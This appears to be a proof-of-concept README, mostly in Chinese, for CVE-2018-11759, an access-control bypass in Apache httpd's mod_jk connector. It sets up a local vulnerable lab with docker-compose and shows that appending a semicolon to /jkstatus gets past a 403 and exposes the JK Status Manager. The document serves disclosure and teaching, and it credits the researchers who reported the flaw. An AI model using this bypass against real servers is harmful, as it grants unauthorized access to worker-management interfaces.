
Proof of concept showing how to exploit the CVE-2018-11759
Apache Web Server (httpd) 中用于在将请求路径与 Apache Tomcat JK (mod_jk) 连接器(1.2.0 至 1.2.44 版本)中的 URI-worker 映射进行匹配之前对其进行规范化的特定代码,未能正确处理某些边缘情况。如果仅通过 httpd 暴露了 Tomcat 所支持 URL 的一个子集,则精心构造的请求有可能通过反向代理暴露本不应让通过反向代理访问应用的客户端使用的应用功能。在某些配置下,精心构造的请求还可能绕过 httpd 中配置的访问控制。虽然此问题与 CVE-2018-1323 存在一些重叠,但它们并不完全相同。
以下概念验证展示了如何利用 CVE-2018-11759 及其对目标信息系统的影响。
docker-compose up -d
请耐心等待,首次运行可能需要较长时间。
运行后,有漏洞的代理将通过以下地址访问:http://localhost
通过 mod_jk 的 JkMount 指令挂载的端点(例如允许管理 AJP 工作线程的 JK 状态管理器接口)可以设置为限制外部访问。
curl "http://localhost/jkstatus"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /jkstatus
on this server.</p>
</body></html>
可以通过在被保护端点后添加分号来绕过此限制。
curl "http://localhost/jkstatus;"
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>JK Status Manager</title></head>
<body>
<h1>JK Status Manager for localhost:8080</h1>
<table><tr><td>Server Version:</td><td>Apache/2.4.6 (CentOS) mod_jk/1.2.44</td><td> </td><td>Server Time:</td><td>2018-11-01 09:05:49 +0000</td></tr>
<tr><td>JK Version:</td><td>mod_jk/1.2.44</td><td></td><td>Unix Seconds:</td><td>1541063149</td></tr></table>
<hr/>
<table><tbody valign="baseline"><tr>
<td><form method="get" action="/jkstatus;">
<input type="submit" value="Start auto refresh"/>
(every <input name="re" type="text" size="3" value="10"/> seconds)</form>
</td><td> | </td>
<td>
<form method="get" action="/jkstatus;">
<input type="submit" value="Change format"/>
<select name="mime" size="1"><option value="xml">XML</option><option value="prop">Properties</option><option value="txt">Text</option></select></form>
</td>
</tr></tbody></table>
<table><tbody valign="baseline"><tr>
<td>
[<a href="/jkstatus;?opt=32">Read Only</a>]
</td>
<td>
[<a href="/jkstatus;?cmd=dump">Dump</a>]
</td>
<td>
[<b>S</b>=Show only this worker, <b>E</b>=Edit worker, <b>R</b>=Reset worker state, <b>T</b>=Try worker recovery]<br/>
</td>
...
在我们的博客文章中了解更多信息。
此问题最初由来自 Biznet Bilisim A.S. 的 Alphan YAVAS 发现,并负责任地报告给 Apache Tomcat 安全团队。来自 immunIT 的 Raphaël Arrouas (Xel) 和 Jean Lejeune (Nitrax) 还发现了其他攻击向量。